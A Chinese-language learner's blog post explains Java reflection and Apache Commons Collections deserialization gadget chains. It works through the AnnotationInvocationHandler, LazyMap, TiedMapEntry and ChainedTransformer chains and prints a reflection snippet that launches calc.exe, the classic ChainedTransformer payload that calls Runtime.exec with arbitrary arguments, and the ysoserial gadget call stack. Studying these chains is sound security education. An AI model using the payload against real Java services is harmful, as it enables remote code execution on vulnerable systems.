Java反序列化入门
最近打工需要学这个,同样是反序列化,Python和PHP的就好理解多了,Java的果然还是复杂不少。。。
主要是对Java的各种架构也都不怎么理解,需要进行一个从零开始的入门
呜呜呜我好菜
Java反射机制
反射是Java反序列化的一大关键利用点
说实话,一开始完全看不懂为什么要叫反射这么个名字,我觉得应该先明白反射是怎么回事,如下反射介绍部分均参考文末大哥链接,”正射”这个概念的提出感觉就让人豁然开朗了,很强
“反射”
反射之所以叫“反”射,必然是其方式是反过来的,所以我们要先知道什么是“正射”
“正射”很简单,就是我们平常正常的对类的使用,比如
Apple apple = new Apple(); //直接初始化,「正射」
apple.setPrice(4);
我们在类初始化的时候直接指定对应的类进行初始化,并且静态的调用对应的方法
而反射则是一开始完全不知道类是什么,需要在运行的时候动态的加载类,动态的获取类的方法,动态的发起调用
就像这样
Class clz = Class.forName("com.chenshuyi.reflect.Apple");
Method method = clz.getMethod("setPrice", int.class);
Constructor constructor = clz.getConstructor();
Object object = constructor.newInstance();
method.invoke(object, 4);
反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。
反射常用函数
获取class对象
Class.forName方法接受一个字符串,返回字符串对应的类实例
Class clz = Class.forName("java.lang.String");
这个方法也是java反序列化中最常用的方法
类名.class和类实例.getClass()方法
不怎么灵活,感觉只能加载已经存在的并且是编译前就写死的类
Class clz = String.class;
String str = new String("Hello");
Class clz = str.getClass();`
获取对象属性
getFields()方法获取Class类的所有属性,不能获取私有属性
getDeclaredFields()获取包括私有属性的全部属性
同getMethods()和getDeclaredMethods()获取类的方法
Constructor同理
如上方法可以类名.class的方式传递参数,获取参数为指定类的方法(getFields估计不行,获取方法的函数应该都行)
例:Constructor constructor = clz.getConstructor(String.class, int.class);
获取第一个参数是String,第二个参数是int的构造方法
创建类实例
Class对象的newInstance() 方法&Constructor对象的newInstance()方法。
Class clz = Apple.class;
Apple apple = (Apple)clz.newInstance();
Class clz = Apple.class;
Constructor constructor = clz.getConstructor();
Apple apple = (Apple)constructor.newInstance();
Constructor对象的newInstance方法可以指定参数,Class的只能用默认的无参数构造方法
invoke函数
作用:调用包装在当前Method对象中的方法。
原型:Object invoke(Object obj,Object…args)
参数解释:obj:持有Method中封装方法的类对象
args:用于方法调用的参数
如下代码完成了反射弹计算器
public static void main(String[] args) throws Exception {
Object runtime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
}
getMethod方法返回的并不是对应类的方法,而是一个封装了对应类方法的Method对象,而invoke函数则是调用封装在Method对象中的方法,所以如上代码先是通过invoke调用封装了getRuntime方法的Method对象获取了一个runtime对象,再获取一个封装了exec的Method对象调用invoke方法执行exec函数
总而言之,就是getMethod("func").invoke(obj,arg...)
就是obj.func(arg...)
反序列化漏洞
出现在ObjectInputStream的readObject方法中,当目标对象重写了readObject时,就会使用重写方法
若重写的方法中存在一定的操作,就有机会通过操作去寻找可利用类,最终实现漏洞利用
最近重新从头开始学了下Java,在一切理清楚的情况下感觉并没有这么复杂,之前写的垃圾作废,推倒重来
利用链介绍
参考链接中使用了一个AnnotationInvocationHandler为宿主,TransformedMap为媒介,ChainedTransformer为病毒的利用链
AnnotationInvocationHandler->TransformedMap->ChainedTransformer
AnnotationInvocationHandler类在readObject方法中遍历了自己一个Map成员的memberValues属性,并且对其中的Entry对象执行了setValue操作
Map类TransformedMap,该类的Entry的Key或者Value进行改变的时候,对该Key和Value进行Transformer提供的转换操作
ChainedTransformer通过对其含有的所有Transformer依次执行transform,进行命令执行
AnnotationInvocationHandler类在后续补丁上已经去掉了这个setValue操作,因此我们还有另一个类可以用来当做宿主
BadAttributeValueExpException->TiedMapEntry->LazyMap->ChainedTransformer
BadAttributeValueExpException
,这个类在很多java反序列化的CVE中均有出没,而其代码内容从未被更改,漏洞的修补均是修改其他处限制或设置黑白名单,可能就开发人员而言,这个类的实现并没有问题
这个类的readObject方法是获取自己一个名为val的属性,并在一系列判断后调用val.toString()方法
找到LazyMap这个类,这个类在使用get方法去查找一个不存在值时,会触发自身Transformer对象的transform方法,对ChainedTransformer进行transform一把点爆
但是还需要一个从BadAttributeValueExpException的toString到LazyMap的get方法的中继,我们继续寻找,得到类TiedMapEntry,该类中重写了toString函数,并在其中调用了getValue(),而getValue则进一步调用了map.get(key),将宿主和另一个媒介串联起来,完成利用
AnnotationInvocationHandler->LazyMap->ChainedTransformer
这个是rmb神仙写的分析,详细一点,但利用链和前面的例子差距不大,可以解释前两个例子中粗略描述的调用过程
调用栈
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
LazyMap.get
这个就是LazyMap的get方法,可以看到,当查找的key不存在时,调用自身factory属性的transform方法,factory即为一个Transformer类对象
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
而ChainedTransformer, ConstantTransformer, InvokerTransformer均为其子类
Transformer命令执行
而ChainedTransformer的transform方法就是将其内部的Transformer的transform方法全部按顺序调用一遍,并且这次的结果是下次的输入
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ConstantTransformer是无论输入如何,返回自己初始化时的对象
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer就比较猛,初始化时输入方法名和参数,transform方法输入一个对象,然后调用这个对象的方法并输入参数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
try .... catch ....
}
}
}
所以也就有了ChainedTransformer的经典payload
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"arg"...}}),
};
exec那里可以填任意数量参数,这一串的最终结果就是java.lang.Runtime.getRuntime().exec(new String[]{"arg"...})
这串调用的开始是LazyMap的get传入一个key,调用了ChainedTransformer的transform方法,而再依次调用,第一个ConstantTransformer忽略输入的key,返回一个Runtime类,而接下来调用Runtime类的getMethod,拿到一个getRuntime的Method对象,再使用Method对象的invoke方法,获取到Runtime类的getRuntime方法,最后用getRuntime方法取得的进程执行exec
这个地方的getMethod超级套娃,InvokerTransformer的transform方法中有这么一段
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
那么new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}})
这个transformer,调用了Runtime类的getMethod方法,用Runtime类的getMethod方法去获取到了一个封装了getMethod方法的Method对象,再用invoke调用这个封装的getMethod,使用参数getRuntime,获取到一个封装了getRuntime方法的Method对象
由AnnotationInvocationHandler到LazyMap.get
还是有源码后看源码调用更能直观理解。。。
AnnotationInvocationHandler中的readObject中有这么一段
Map map = annotationType.memberTypes();
for (Map.Entry entry : this.memberValues.entrySet()) {
String str = (String)entry.getKey();
Class clazz = (Class)map.get(str);
....
调用了自身Map类的一个entrySet()函数,而由于一些我不能理解的java特性(java 的动态代理机制),调用这个函数最后会调用到AnnotationInvocationHandler的invoke函数上,里面有这么一段
String str = paramMethod.getName();
.....
Object object = this.memberValues.get(str);
....
这里的memberValues就是一个Map,LazyMap是其子类,所以成功调用到LazyMap的get方法,而LazyMap里面就一个ChainTransformer,必然查不到,直接进ChainTransformer的transform,完成利用链
后记
Java的反序列化因为涉及的类很多,方法很复杂,所以给人很复杂的感觉(虽然PHP也有那种超级长的pop链,但是由于都是魔术方法互相调用感觉看的清楚一点),Java这里要记忆的类有点多了。。但是反序列化的入口点都是readObject,然后就看每个类的readObject里面能对什么对象调用什么方法,也是一个一个的凑最后能点爆一个构造好的ChainTransformer执行命令
这种凑gadget的方法也行也能用的很灵活吧?搜集一些有各种各样小功能的类,万一那天一个类没了就拼拼凑凑又接上去了。TiedMapEntry给ban了,明天就能从其他gadget中拼拼凑凑又拿出一个从toString()到get()的调用链
也许多审计代码记录一些可用gadget,就能拼拼凑凑出一个新的漏洞,这就是积累吧
(最近看到的几个一系列的漏洞就是官方补一个马上用其他的小零件拼拼凑凑又摸出一个洞来)
参考链接
强力推荐
大白话说Java反射:入门、使用、原理
反序列化漏洞超级详细思路,但是代码具体好像还是省略了一点
Java反序列化漏洞的原理分析
rmb神仙的反序列化讲解,这个的具体代码多一点,看懂了上一篇再看这个就基本上能理解了呜呜呜
ysoserial URLDNS, CommonsCollections1-7 分析+复现